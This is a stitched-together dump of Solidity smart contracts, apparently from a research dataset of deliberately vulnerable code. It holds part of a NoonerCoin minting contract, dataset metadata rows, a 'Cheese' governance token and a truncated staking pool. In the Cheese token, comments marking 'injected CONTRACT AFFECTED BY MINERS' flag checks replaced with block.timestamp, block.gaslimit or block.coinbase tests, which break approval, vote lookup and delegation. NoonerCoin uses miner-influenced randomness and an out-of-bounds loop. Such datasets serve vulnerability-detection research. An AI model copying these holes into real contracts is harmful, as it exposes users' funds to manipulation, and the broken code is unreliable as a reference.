if(occurenceOfRandomNumber[randomNumber]<24){
occurenceOfRandomNumber[randomNumber] = occurenceOfRandomNumber[randomNumber]+1;
}
//2nd time calling randomNumber from randomVariablePicker
randomNumber = randomVariablePicker();
//2nd time occurenceOfRandomNumber >= 24
if(occurenceOfRandomNumber[randomNumber] >= 24) {
if(count < 4) {
incrementCounter();
uint256 _index;
//remove variable
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
}
return true;
}
function burnToken() internal returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerValue(flag*720, 150**index, index);//720
uint256 intDecimalValue = getDecimalValue(flag*720, 150**index, index);//720
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 adminBalance = noonercoin[adminAddress];
uint256 iterationsInOneCycle = _cycleTime/_frequency;//720
currentMintingRateTotalTokens = iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
totalMintedTokens = (adminBalance-_fundersAmount - weiAmountAdded)*10**18 + noonerwei[adminAddress] + totalWeiBurned; //before adding totalWeiBurned.
weiToBurned = _totalSupply*10**18 - signmaValueWei - totalMintedTokens - currentMintingRateTotalTokens - totalWeiBurned;
totalWeiInAdminAcc = (adminBalance-_fundersAmount - weiAmountAdded) * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc <= weiToBurned) {
return false;
}
uint256 remainingWei;
if(totalWeiInAdminAcc > weiToBurned) {
remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = _fundersAmount + weiAmountAdded + (remainingWei/10**18);
noonerwei[adminAddress] = 0;
totalWeiBurned = totalWeiBurned + weiToBurned;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = _fundersAmount + weiAmountAdded + (remainingWei/10**18);
previousCyclesTotalWei = remainingWei - (noonercoin[adminAddress] - _fundersAmount - weiAmountAdded) * 10**18;
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(signmaValueWei);
previousBurnValues.push(weiToBurned);
}
return true;
}
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) public view returns (uint256){
return noonerwei[add];
}
function getIntegerValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
if(isNewCycleStart){
uint256 randomValue = _randomValue;
if(randomValue == 150){
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(0);
previousBurnValues.push(0);
}
}
if(randomValue != 150){
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousBurnValues.push(0);
previousSigmaValues.push(0);
}
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
uint256 weiAfterMint = missedWei;
noonercoin[add] = noonercoin[add] + missedToken;
noonerwei[add] = weiAfterMint;
return true;
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//wei amount of >.5 to be added in adminAccount
if(noonerwei[adminAddress] >= (10**18/2)) {
noonercoin[adminAddress] += 1;
weiAmountAdded += 1;
}
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
return true;
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference = 0;
if(lastMintingTime != 0) {
lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
}
return lastMintingTimeAndStartTimeDifference;
}
function checkMissingTokens(address add) public view returns (uint256, uint256, uint256) {
uint256 adminBalance = 0;//noonercoin[add]; //admin bal
uint256 adminBalanceinWei = 0;//noonerwei[add]; //admin bal wei
if (lastMintingTime == 0) {
return (0,0, 0);
}
if (lastMintingTime != 0) {
uint256 estimatedMintedToken = 0;
uint256 estimatedMintedTokenWei = 0;
uint256 timeDifference = lastMintingTime - startTime;
uint256 valueForEach = timeDifference.div(_frequency);
if(totalCycleLeft != 19) {
adminBalance = noonercoin[add] - weiAmountAdded; //admin bal
adminBalanceinWei = noonerwei[add]; //admin bal wei
estimatedMintedToken = (previousCyclesTotalTokens - weiAmountAdded) + valueForEach * mintingRateNoonerCoin;
estimatedMintedTokenWei = valueForEach * mintingRateNoonerWei;
}
if(totalCycleLeft == 19) {
adminBalance = noonercoin[add]; //admin bal
adminBalanceinWei = noonerwei[add]; //admin bal wei
estimatedMintedToken = _fundersAmount + valueForEach * mintingRateNoonerCoin;
}
uint256 temp = estimatedMintedTokenWei / 10**18;
estimatedMintedToken += temp;
uint256 weiVariance = estimatedMintedTokenWei - (temp * 10**18);
uint256 checkDifference = 0;
if(estimatedMintedToken != adminBalance) {
if(adminBalance >= estimatedMintedToken) {
checkDifference = 0;
} else {
checkDifference = estimatedMintedToken - adminBalance;
}
}
if(weiVariance == adminBalanceinWei) {
weiVariance = 0;
}
return (checkDifference, weiVariance, weekStartTime);
}
}
function currentDenominatorAndRemainingRandomVariables() public view returns(uint256, uint8[] memory) {
return (_randomValue, __remainingRandomVariable);
}
function getOccurenceOfRandomNumber() public view returns(uint256, uint256, uint256, uint256, uint256, uint256){
return (randomNumber, occurenceOfRandomNumber[__randomVariable[0]],occurenceOfRandomNumber[__randomVariable[1]],occurenceOfRandomNumber[__randomVariable[2]],occurenceOfRandomNumber[__randomVariable[3]], occurenceOfRandomNumber[__randomVariable[4]]);
}
function getOccurenceOfPreferredRandomNumber(uint256 number) public view returns(uint256){
return occurenceOfRandomNumber[number];
}
function getTotalPresentOcuurences() public view returns(uint256){
uint256 total = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
return total;
}
// function checkMissingPops() public view returns(uint256){
// uint256 totalPresentOcurrences = getTotalPresentOcuurences();
// if (lastMintingTime == 0) {
// return (0);
// }
// if(lastMintingTime != 0) {
// uint256 differenceOfLastMintTimeAndStartTime = lastMintingTime - startTime; //secs
// uint256 timeDifference;
// uint256 secondFrequency = 2 * _frequency;
// uint256 thirdFrequency = 3 * _frequency;
// timeDifference = 0;
// }
// else {
// timeDifference = differenceOfLastMintTimeAndStartTime - thirdFrequency;
// }
// uint256 checkDifferencePop;
// uint256 estimatedPicks = timeDifference / 720;
// if(totalPresentOcurrences >= estimatedPicks) {
// checkDifferencePop = 0;
// }else {
// checkDifferencePop = estimatedPicks - totalPresentOcurrences;
// }
// return checkDifferencePop;
// }
// }
function getRandomVariablesArray() public view returns(uint256[] memory) {
return(randomVariableArray);
}
function previousCyclesBalances() public view returns(uint256[] memory) {
return(previousCyclesBalance);
}
function getLastMintingRateWei() public view returns(uint256) {
return(mintingRateNoonerWei);
}
function getBurnValues(address add) public view returns(uint256, uint256, uint256, uint256, uint256) {
return(signmaValueWei, currentMintingRateTotalTokens, totalMintedTokens, weiToBurned, totalWeiInAdminAcc);
}
function previousCyclesBurn() public view returns(uint256[] memory) {
return(previousBurnValues);
}
function previousCyclesSigmaValue() public view returns(uint256[] memory) {
return(previousSigmaValues);
}
}
| 120,217 | 708 |
af9fd5a96fac576ffd9a78fb9a82c39467e38c7ead3c36f8d6e0e9bc7b742125
| 12,911 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0xb6ab412eaceb551d62f8ec63a1d2f30c01e3a2c0_affectedByMiners.sol
| 2,568 | 10,024 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Cheese {
/// @notice EIP-20 token name for this token
string public constant name = "Cheese";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "CHEESE";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million Comp
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (block.timestamp == uint(-1)) { //injected CONTRACT AFFECTED BY MINERS
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (block.timestamp <= blockNumber) { //injected CONTRACT AFFECTED BY MINERS
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (block.gaslimit > blockNumber) { //injected CONTRACT AFFECTED BY MINERS
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (block.gaslimit == blockNumber) { //injected CONTRACT AFFECTED BY MINERS
return cp.votes;
} else if (block.gaslimit < blockNumber) { //injected CONTRACT AFFECTED BY MINERS
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 281,261 | 709 |
ebde92b1f07c563546cd260eee4a8b8de31a50a0f7b6ea08cfb0858f7ad8f23c
| 25,479 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xB9aE02b8Bc65cD62dE3D5d46cDd78543a6C39c75/contract.sol
| 5,437 | 18,951 |
pragma solidity 0.8.2;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract XVS_WBNB_Pool is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
// TENFI token contract address
address public tokenAddress = 0x081B2aEB9925e1F72e889eac10516C2A48a9F76a;
// LP token contract address
address public LPtokenAddress = 0x41182c32F854dd97bA0e0B1816022e0aCB2fc0bb;
// reward rate 23 % per year
uint256 public rewardRate = 7419409;
uint256 public rewardInterval = 365 days;
// unstaking possible after 0 days
uint256 public cliffTime = 0 days;
uint256 public farmEnableat;
uint256 public totalClaimedRewards = 0;
uint256 public totalDevFee = 0;
uint256 private stakingAndDaoTokens = 100000e18;
bool public farmEnabled = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public lastClaimedTime;
mapping (address => uint256) public totalEarnedTokens;
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
uint256 fee = pendingDivs.mul(2000).div(1e4);
uint256 pendingDivsAfterFee = pendingDivs.sub(fee);
if (pendingDivsAfterFee > 0) {
require(Token(tokenAddress).transfer(account, pendingDivsAfterFee), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivsAfterFee);
totalClaimedRewards = totalClaimedRewards.add(pendingDivsAfterFee);
emit RewardsTransferred(account, pendingDivsAfterFee);
}
if (fee > 0) {
require(Token(tokenAddress).transfer(account, fee), "Could not transfer tokens.");
totalDevFee = totalDevFee.add(fee);
emit RewardsTransferred(account, fee);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint256 _pendingDivs) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint256 stakedAmount = depositedTokens[_holder];
if (block.timestamp <= farmEnableat + 1 days) {
uint256 pendingDivs = stakedAmount.mul(16127617).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 1 days && block.timestamp <= farmEnableat + 2 days) {
uint256 pendingDivs = stakedAmount.mul(14862706).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 2 days && block.timestamp <= farmEnableat + 3 days) {
uint256 pendingDivs = stakedAmount.mul(13661040).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 3 days && block.timestamp <= farmEnableat + 4 days) {
uint256 pendingDivs = stakedAmount.mul(12585866).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 4 days && block.timestamp <= farmEnableat + 5 days) {
uint256 pendingDivs = stakedAmount.mul(11573937).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 5 days && block.timestamp <= farmEnableat + 6 days) {
uint256 pendingDivs = stakedAmount.mul(10625253).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 6 days && block.timestamp <= farmEnableat + 7 days) {
uint256 pendingDivs = stakedAmount.mul(9803061).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 7 days && block.timestamp <= farmEnableat + 8 days) {
uint256 pendingDivs = stakedAmount.mul(8980869).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 8 days && block.timestamp <= farmEnableat + 9 days) {
uint256 pendingDivs = stakedAmount.mul(8285168).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 9 days && block.timestamp <= farmEnableat + 10 days) {
uint256 pendingDivs = stakedAmount.mul(7589467).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 10 days && block.timestamp <= farmEnableat + 11 days) {
uint256 pendingDivs = stakedAmount.mul(7020257).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 11 days && block.timestamp <= farmEnableat + 12 days) {
uint256 pendingDivs = stakedAmount.mul(6451047).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 12 days && block.timestamp <= farmEnableat + 13 days) {
uint256 pendingDivs = stakedAmount.mul(5945083).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 13 days && block.timestamp <= farmEnableat + 14 days) {
uint256 pendingDivs = stakedAmount.mul(5439118).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 14 days && block.timestamp <= farmEnableat + 15 days) {
uint256 pendingDivs = stakedAmount.mul(4996399).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 15 days && block.timestamp <= farmEnableat + 16 days) {
uint256 pendingDivs = stakedAmount.mul(4616926).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 16 days && block.timestamp <= farmEnableat + 17 days) {
uint256 pendingDivs = stakedAmount.mul(4237453).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 17 days && block.timestamp <= farmEnableat + 18 days) {
uint256 pendingDivs = stakedAmount.mul(3921225).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 18 days && block.timestamp <= farmEnableat + 19 days) {
uint256 pendingDivs = stakedAmount.mul(3604997).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 19 days && block.timestamp <= farmEnableat + 20 days) {
uint256 pendingDivs = stakedAmount.mul(3288769).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 20 days && block.timestamp <= farmEnableat + 21 days) {
uint256 pendingDivs = stakedAmount.mul(3035787).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 21 days && block.timestamp <= farmEnableat + 22 days) {
uint256 pendingDivs = stakedAmount.mul(2782805).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 22 days && block.timestamp <= farmEnableat + 23 days) {
uint256 pendingDivs = stakedAmount.mul(2593068).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 23 days && block.timestamp <= farmEnableat + 24 days) {
uint256 pendingDivs = stakedAmount.mul(2340086).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 24 days && block.timestamp <= farmEnableat + 25 days) {
uint256 pendingDivs = stakedAmount.mul(2150348).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 25 days && block.timestamp <= farmEnableat + 26 days) {
uint256 pendingDivs = stakedAmount.mul(2023858).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 26 days && block.timestamp <= farmEnableat + 27 days) {
uint256 pendingDivs = stakedAmount.mul(1834122).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 27 days && block.timestamp <= farmEnableat + 28 days) {
uint256 pendingDivs = stakedAmount.mul(1707630).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
